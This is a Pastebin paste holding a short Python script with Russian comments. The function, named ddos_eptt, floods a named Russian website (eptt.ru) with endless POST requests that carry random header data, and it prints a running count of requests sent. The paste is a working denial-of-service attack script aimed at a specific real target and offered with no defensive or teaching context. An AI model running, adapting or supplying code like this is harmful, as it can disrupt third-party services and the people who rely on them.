Advertisement
Guest User

Untitled

a guest
Dec 6th, 2019
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.45 KB | None | 0 0
  1. import requests
  2. from random import randint
  3.  
  4. data_packet=''
  5. symbols = ('a', 'A', 'b', 'B', 'c', 'C', 'd', 'D', 'e', 'E','f', 'F','g','G', 'j', 'J', 'k', 'K', 'l', 'L', 'm', 'M', 'n','N', 'o', 'O', 'p', 'P', 'q', 'Q', 'r', 'R', 's', 'S', 't', 'T', 'u', 'U', 'v', 'V', 'w', 'W', 'x', 'X', 'y', 'Y', 'z', 'Z')
  6. #print(len(symbols))  проверка длинны картежа
  7.  
  8. def generator(data_packet, symbols):
  9.     for i in range(10):
  10.         data_packet += symbols[randint(0, 47)]
  11.     return data_packet
  12.  
  13. #data_packet = generator(data_packet, symbols)
  14. #print(len(data_packet))   #проверка генератора
  15. #print(data_packet)
  16. url = 'http://www.eptt.ru/'
  17. iteration = 0
  18.  
  19.  
  20.  
  21. def ddos_eptt(url, data_packet, symbols, iteration):
  22.  
  23.     data_packet = generator(data_packet, symbols)
  24.     headers = {
  25.         'accept':'*/*',
  26.         'user_agent':'mozila fair fox',
  27.         'data': data_packet}
  28.  
  29.     session = requests.Session()
  30.     request = session.post(url, headers=headers)
  31.  
  32.     if request.status_code == 200:
  33.         iteration +=1
  34.         #print(iteration) проверка колличества запросов
  35.         if iteration % 10 == 0: # каждая десятая итерация уведомляется
  36.             print('отправлено {0} запросов'.format(iteration))
  37.  
  38. while True:
  39.     try:
  40.         ddos_eptt(url, data_packet, symbols, iteration)
  41.         iteration += 1
  42.     except:
  43.         print('EROR')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement